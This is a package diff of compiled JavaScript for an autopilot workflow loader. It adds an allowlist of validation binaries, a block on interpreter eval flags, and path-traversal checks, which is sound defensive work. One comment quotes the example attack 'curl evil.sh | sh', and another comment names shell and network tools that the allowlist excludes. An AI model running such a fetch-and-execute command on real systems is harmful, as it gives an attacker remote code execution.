+
* - 'premium': highest capability (opus)
|
|
66
|
+
*
|
|
67
|
+
* MODEL_TIERS is the single source of truth: the runtime allowlist (used by
|
|
68
|
+
* parseModelRouting / asTier) and the ModelTier union are both derived from
|
|
69
|
+
* it, so adding a tier is a compile-checked one-place edit — no parallel
|
|
70
|
+
* array to keep in sync by hand.
|
|
71
|
+
*/
|
|
72
|
+
exports.MODEL_TIERS = ['budget', 'standard', 'premium'];
|
|
29
73
|
exports.DEFAULT_CONFIG = {
|
|
30
74
|
maxAttemptsPerTurn: 5,
|
|
31
75
|
maxTotalContinuations: 50,
|
package/dist/src/types.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":";;;
|
|
1
|
+
{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":";;;AAsEA,oDAEC;AAGD,0CAEC;AAYD,gEAaC;AA6ND,gDAsBC;AAzSD,gGAAgG;AACnF,QAAA,qBAAqB,GAA+B,IAAI,GAAG,CAAgB;IACtF,mBAAmB;IACnB,8BAA8B;IAC9B,yBAAyB;IACzB,mBAAmB;IACnB,kBAAkB;IAClB,SAAS;IACT,uBAAuB;IACvB,cAAc;IACd,gBAAgB;IAChB,qBAAqB;IACrB,mBAAmB;IACnB,qBAAqB;IACrB,wBAAwB;IACxB,gCAAgC;IAChC,oBAAoB;IACpB,qBAAqB;CACtB,CAAC,CAAC;AAEH;oFACoF;AACpF,SAAgB,oBAAoB,CAAC,KAAa;IAChD,OAAO,6BAAqB,CAAC,GAAG,CAAC,KAAsB,CAAC,CAAC;AAC3D,CAAC;AAED,2FAA2F;AAC3F,SAAgB,eAAe,CAAC,KAAa,EAAE,WAA0B,mBAAmB;IAC1F,OAAO,oBAAoB,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC;AACxD,CAAC;AAED;;;;;;;;;GASG;AACH,SAAgB,0BAA0B,CAAC,MAAmB;IAC5D,QAAQ,MAAM,EAAE,CAAC;QACf,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,cAAc,CAAC,CAAC,OAAO,cAAc,CAAC;QAC3C,KAAK,uBAAuB,CAAC,CAAC,OAAO,uBAAuB,CAAC;QAC7D,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,sBAAsB,CAAC,CAAC,OAAO,qBAAqB,CAAC;QAC1D,KAAK,mBAAmB,CAAC,CAAC,OAAO,mBAAmB,CAAC;QACrD,KAAK,qBAAqB,CAAC,CAAC,OAAO,qBAAqB,CAAC;QACzD,KAAK,wBAAwB,CAAC,CAAC,OAAO,wBAAwB,CAAC;QAC/D,KAAK,gCAAgC,CAAC,CAAC,OAAO,gCAAgC,CAAC;QAC/E,KAAK,oBAAoB,CAAC,CAAC,OAAO,oBAAoB,CAAC;IACzD,CAAC;AACH,CAAC;AAYD;;;;;;;;;;;GAWG;AACU,QAAA,WAAW,GAAG,CAAC,QAAQ,EAAE,UAAU,EAAE,SAAS,CAAU,CAAC;AA6LzD,QAAA,cAAc,GAAoB;IAC7C,kBAAkB,EAAE,CAAC;IACrB,qBAAqB,EAAE,EAAE;IACzB,kBAAkB,EAAE,CAAC;IACrB,cAAc,EAAE,EAAE;IAClB,sBAAsB,EAAE,CAAC;CAC1B,CAAC;AAEF,SAAgB,kBAAkB,CAChC,UAAkB,EAClB,KAAa,EACb,SAA0B,sBAAc;IAExC,OAAO;QACL,MAAM,EAAE,MAAM;QACd,UAAU;QACV,KAAK;QACL,YAAY,EAAE,CAAC;QACf,kBAAkB,EAAE,CAAC;QACrB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,qBAAqB,EAAE,MAAM,CAAC,qBAAqB;QACnD,sBAAsB,EAAE,MAAM,CAAC,sBAAsB,IAAI,CAAC;QAC1D,cAAc,EAAE,CAAC;QACjB,kBAAkB,EAAE,MAAM,CAAC,kBAAkB;QAC7C,oBAAoB,EAAE,KAAK;QAC3B,OAAO,EAAE,KAAK;QACd,eAAe,EAAE,CAAC;QAClB,WAAW,EAAE,MAAM,CAAC,WAAW;QAC/B,QAAQ,EAAE,KAAK;KAChB,CAAC;AACJ,CAAC"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"workflow-config.d.ts","sourceRoot":"","sources":["../../src/workflow-config.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,cAAc,EAAqB,MAAM,SAAS,CAAC;
|
|
1
|
+
{"version":3,"file":"workflow-config.d.ts","sourceRoot":"","sources":["../../src/workflow-config.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,cAAc,EAAqB,MAAM,SAAS,CAAC;AAIjE,eAAO,MAAM,uBAAuB,EAAE,cAqBrC,CAAC;AAEF,UAAU,UAAU;IAClB,MAAM,EAAE,cAAc,CAAC;IACvB,QAAQ,EAAE,MAAM,EAAE,CAAC;CACpB;AAuYD;;;GAGG;AACH,wBAAgB,kBAAkB,CAAC,YAAY,EAAE,MAAM,EAAE,aAAa,CAAC,EAAE,MAAM,GAAG,UAAU,CAuD3F"}
|
|
@@ -43,6 +43,8 @@ exports.loadWorkflowConfig = loadWorkflowConfig;
|
|
|
43
43
|
*/
|
|
44
44
|
const fs = __importStar(require("fs"));
|
|
45
45
|
const path = __importStar(require("path"));
|
|
46
|
+
const model_routing_1 = require("./model-routing");
|
|
47
|
+
const permission_policy_1 = require("@oh-my-matrix/permission-policy");
|
|
46
48
|
exports.DEFAULT_WORKFLOW_CONFIG = {
|
|
47
49
|
version: 1,
|
|
48
50
|
source: 'default',
|
|
@@ -65,6 +67,68 @@ exports.DEFAULT_WORKFLOW_CONFIG = {
|
|
|
65
67
|
},
|
|
66
68
|
warnings: [],
|
|
67
69
|
};
|
|
70
|
+
/**
|
|
71
|
+
* S1 (audit 2026-06-30): allowlist of binaries permitted in WORKFLOW.md
|
|
72
|
+
* `validation.commands`. WORKFLOW.md is an attacker-controllable input (it lives
|
|
73
|
+
* in the workspace, not the operator's config), and these commands run via
|
|
74
|
+
* execFile on the autopilot `complete` path — without this filter, a malicious
|
|
75
|
+
* workspace could achieve RCE by committing `command: "curl evil.sh | sh"`.
|
|
76
|
+
*
|
|
77
|
+
* Fail-closed: anything not listed is dropped + warned. Intentionally excludes
|
|
78
|
+
* `bash`/`sh`/`curl`/`wget`/`nc`/arbitrary binaries. Residual surface: an
|
|
79
|
+
* allowlisted interpreter (e.g. `python -c "..."`) can still run arbitrary code
|
|
80
|
+
* via its own flags; narrowing that requires argument inspection, tracked as a
|
|
81
|
+
* follow-up. The binary gate already removes the "any binary, zero friction"
|
|
82
|
+
* RCE path that existed before.
|
|
83
|
+
*/
|
|
84
|
+
const ALLOWED_VALIDATION_BINARIES = new Set([
|
|
85
|
+
'npm', 'pnpm', 'yarn', 'npx', 'node', 'node.exe',
|
|
86
|
+
'tsc', 'tsx', 'eslint', 'prettier', 'markdownlint', 'markdownlint-cli2',
|
|
87
|
+
'vitest', 'jest', 'mocha', 'vite', 'webpack', 'rollup', 'esbuild',
|
|
88
|
+
'go', 'cargo', 'rustc',
|
|
89
|
+
'python', 'python3', 'pytest', 'pip', 'pip3',
|
|
90
|
+
'make', 'cmake', 'dotnet', 'msbuild',
|
|
91
|
+
'gradle', 'mvn', 'rake', 'bundle', 'swift', 'xcodebuild',
|
|
92
|
+
]);
|
|
93
|
+
/** S1-B: interpreters that can execute an arbitrary string passed as a flag. */
|
|
94
|
+
const INTERPRETER_BINARIES = new Set(['node', 'python', 'python3']);
|
|
95
|
+
/** S1-B: flags that make those interpreters run an arbitrary string. */
|
|
96
|
+
const DANGEROUS_EVAL_FLAGS = new Set([
|
|
97
|
+
'-e', '--eval', '-c', '--command', '--exec', '-p', '--print',
|
|
98
|
+
]);
|
|
99
|
+
/**
|
|
100
|
+
* S1: drop validation commands whose binary is not on the allowlist, and
|
|
101
|
+
* (S1-B) drop interpreter commands that pass an eval flag (-e/-c/--eval…)
|
|
102
|
+
* even when the binary itself is allowlisted. Mutates `warnings` with one
|
|
103
|
+
* entry per dropped command for observability.
|
|
104
|
+
*
|
|
105
|
+
* Note: this cannot stop `npm run <script>` / `node script.js` where the
|
|
106
|
+
* workspace owns the script — that path is gated by the trustWorkspace opt-in
|
|
107
|
+
* in applyWorkflowConfig (the root-cause boundary), not by this filter.
|
|
108
|
+
*/
|
|
109
|
+
function filterValidationCommands(commands, warnings) {
|
|
110
|
+
const kept = [];
|
|
111
|
+
for (const cmd of commands) {
|
|
112
|
+
const tokens = (0, permission_policy_1.tokenizeShell)(cmd.command);
|
|
113
|
+
const bin = tokens[0]?.toLowerCase();
|
|
114
|
+
if (!bin || !ALLOWED_VALIDATION_BINARIES.has(bin)) {
|
|
115
|
+
warnings.push(`Disallowed validation binary "${bin ?? '(empty)'}" in command "${cmd.command.substring(0, 80)}" — dropped (S1 fail-closed)`);
|
|
116
|
+
continue;
|
|
117
|
+
}
|
|
118
|
+
if (INTERPRETER_BINARIES.has(bin)) {
|
|
119
|
+
const hasEvalFlag = tokens.slice(1).some((a) => {
|
|
120
|
+
const flag = a.split('=')[0];
|
|
121
|
+
return DANGEROUS_EVAL_FLAGS.has(flag) || DANGEROUS_EVAL_FLAGS.has(a);
|
|
122
|
+
});
|
|
123
|
+
if (hasEvalFlag) {
|
|
124
|
+
warnings.push(`Disallowed eval flag on ${bin} in "${cmd.command.substring(0, 80)}" — dropped (S1-B)`);
|
|
125
|
+
continue;
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
kept.push(cmd);
|
|
129
|
+
}
|
|
130
|
+
return kept;
|
|
131
|
+
}
|
|
68
132
|
/**
|
|
69
133
|
* Parse a YAML-like autopilot section from front matter.
|
|
70
134
|
* Minimal parser — only handles the autopilot schema we define.
|
|
@@ -77,7 +141,7 @@ function parseAutopilotSection(raw) {
|
|
|
77
141
|
const knownKeys = new Set([
|
|
78
142
|
'version', 'max_concurrent', 'max_retries',
|
|
79
143
|
'stall_timeout_ms', 'max_retry_backoff_ms', 'workspace', 'validation',
|
|
80
|
-
'destructive_git',
|
|
144
|
+
'destructive_git', 'model_routing',
|
|
81
145
|
]);
|
|
82
146
|
for (const key of Object.keys(raw)) {
|
|
83
147
|
if (!knownKeys.has(key)) {
|
|
@@ -107,8 +171,23 @@ function parseAutopilotSection(raw) {
|
|
|
107
171
|
}
|
|
108
172
|
if ('workspace' in raw && typeof raw.workspace === 'object' && raw.workspace !== null) {
|
|
109
173
|
const ws = raw.workspace;
|
|
174
|
+
// Trust-boundary check: WORKFLOW.md is attacker-controllable workspace content.
|
|
175
|
+
// workspace.root is not consumed at runtime today (autopilot delegates worktree
|
|
176
|
+
// management to the host per ADR-008), but reject `..` traversal segments as
|
|
177
|
+
// defense-in-depth so a root cannot escape its base if a host ever resolves it
|
|
178
|
+
// via path.join. Absolute paths are left to the host's own containment check —
|
|
179
|
+
// they are explicit targets, not traversal.
|
|
180
|
+
let root = exports.DEFAULT_WORKFLOW_CONFIG.workspace.root;
|
|
181
|
+
if (typeof ws.root === 'string') {
|
|
182
|
+
if (ws.root.split(/[\\/]/).includes('..')) {
|
|
183
|
+
warnings.push(`workspace.root "${ws.root}" contains ".." traversal — using default (${exports.DEFAULT_WORKFLOW_CONFIG.workspace.root})`);
|
|
184
|
+
}
|
|
185
|
+
else {
|
|
186
|
+
root = ws.root;
|
|
187
|
+
}
|
|
188
|
+
}
|
|
110
189
|
result.workspace = {
|
|
111
|
-
root
|
|
190
|
+
root,
|
|
112
191
|
cleanup: ws.cleanup === 'delete_on_done' ? 'delete_on_done' : 'manual',
|
|
113
192
|
branchPrefix: typeof ws.branch_prefix === 'string' ? ws.branch_prefix : 'autopilot',
|
|
114
193
|
baseRef: typeof ws.base_ref === 'string' ? ws.base_ref : undefined,
|
|
@@ -134,7 +213,7 @@ function parseAutopilotSection(raw) {
|
|
|
134
213
|
}
|
|
135
214
|
}
|
|
136
215
|
result.validation = {
|
|
137
|
-
commands,
|
|
216
|
+
commands: filterValidationCommands(commands, warnings),
|
|
138
217
|
failOnOptional: val.fail_on_optional === true,
|
|
139
218
|
};
|
|
140
219
|
}
|
|
@@ -144,6 +223,11 @@ function parseAutopilotSection(raw) {
|
|
|
144
223
|
allow: dg.allow === true,
|
|
145
224
|
};
|
|
146
225
|
}
|
|
226
|
+
if ('model_routing' in raw) {
|
|
227
|
+
const routing = (0, model_routing_1.parseModelRouting)(raw.model_routing);
|
|
228
|
+
if (routing)
|
|
229
|
+
result.modelRouting = routing;
|
|
230
|
+
}
|
|
147
231
|
return { config: result, warnings };
|
|
148
232
|
}
|
|
149
233
|
/**
|
|
@@ -175,14 +259,20 @@ function parseSimpleYaml(yaml) {
|
|
|
175
259
|
const root = {};
|
|
176
260
|
let i = 0;
|
|
177
261
|
function parseValue(indent) {
|
|
262
|
+
// PROD-9: skip blank/comment lines iteratively — recursing once per line
|
|
263
|
+
// could blow the stack on a WORKFLOW.md with thousands of blank lines.
|
|
264
|
+
while (i < lines.length) {
|
|
265
|
+
const t = lines[i].trimStart();
|
|
266
|
+
if (t === '' || t.startsWith('#')) {
|
|
267
|
+
i++;
|
|
268
|
+
continue;
|
|
269
|
+
}
|
|
270
|
+
break;
|
|
271
|
+
}
|
|
178
272
|
if (i >= lines.length)
|
|
179
273
|
return null;
|
|
180
274
|
const line = lines[i];
|
|
181
275
|
const trimmed = line.trimStart();
|
|
182
|
-
if (trimmed === '' || trimmed.startsWith('#')) {
|
|
183
|
-
i++;
|
|
184
|
-
return parseValue(indent);
|
|
185
|
-
}
|
|
186
276
|
// Array item
|
|
187
277
|
if (trimmed.startsWith('- ')) {
|
|
188
278
|
const items = [];
|
|
@@ -378,6 +468,7 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
|
|
|
378
468
|
const searchPaths = workspacePath
|
|
379
469
|
? [path.join(workspacePath, 'WORKFLOW.md'), path.join(baseRepoPath, 'WORKFLOW.md')]
|
|
380
470
|
: [path.join(baseRepoPath, 'WORKFLOW.md')];
|
|
471
|
+
const ioWarnings = [];
|
|
381
472
|
for (const filePath of searchPaths) {
|
|
382
473
|
if (!fs.existsSync(filePath))
|
|
383
474
|
continue;
|
|
@@ -393,9 +484,10 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
|
|
|
393
484
|
// Invalid autopilot section (e.g., autopilot: {})
|
|
394
485
|
if (autopilot === null || (typeof autopilot === 'object' && Object.keys(autopilot).length === 0)) {
|
|
395
486
|
// autopilot: {} or autopilot: null — use defaults but mark as workflow_md source
|
|
487
|
+
// REV-4: surface I/O warnings from earlier-failed candidate paths.
|
|
396
488
|
return {
|
|
397
|
-
config: { ...exports.DEFAULT_WORKFLOW_CONFIG, source: 'workflow_md', warnings:
|
|
398
|
-
warnings:
|
|
489
|
+
config: { ...exports.DEFAULT_WORKFLOW_CONFIG, source: 'workflow_md', warnings: ioWarnings },
|
|
490
|
+
warnings: ioWarnings,
|
|
399
491
|
};
|
|
400
492
|
}
|
|
401
493
|
continue;
|
|
@@ -408,15 +500,17 @@ function loadWorkflowConfig(baseRepoPath, workspacePath) {
|
|
|
408
500
|
workspace: { ...exports.DEFAULT_WORKFLOW_CONFIG.workspace, ...partial.workspace },
|
|
409
501
|
validation: { ...exports.DEFAULT_WORKFLOW_CONFIG.validation, ...partial.validation },
|
|
410
502
|
destructiveGit: { ...exports.DEFAULT_WORKFLOW_CONFIG.destructiveGit, ...partial.destructiveGit },
|
|
411
|
-
warnings,
|
|
503
|
+
warnings: [...ioWarnings, ...warnings],
|
|
412
504
|
};
|
|
413
|
-
|
|
505
|
+
// REV-4: surface I/O warnings from earlier-failed candidate paths alongside
|
|
506
|
+
// the parse-section warnings so the user sees "first file failed, used second".
|
|
507
|
+
return { config: merged, warnings: [...ioWarnings, ...warnings] };
|
|
414
508
|
}
|
|
415
|
-
catch {
|
|
416
|
-
|
|
509
|
+
catch (err) {
|
|
510
|
+
ioWarnings.push(`Failed to read/parse ${filePath}: ${err instanceof Error ? err.message : String(err)}`);
|
|
417
511
|
continue;
|
|
418
512
|
}
|
|
419
513
|
}
|
|
420
|
-
return { config: exports.DEFAULT_WORKFLOW_CONFIG, warnings:
|
|
514
|
+
return { config: exports.DEFAULT_WORKFLOW_CONFIG, warnings: ioWarnings };
|
|
421
515
|
}
|
|
422
516
|
//# sourceMappingURL=workflow-config.js.map
|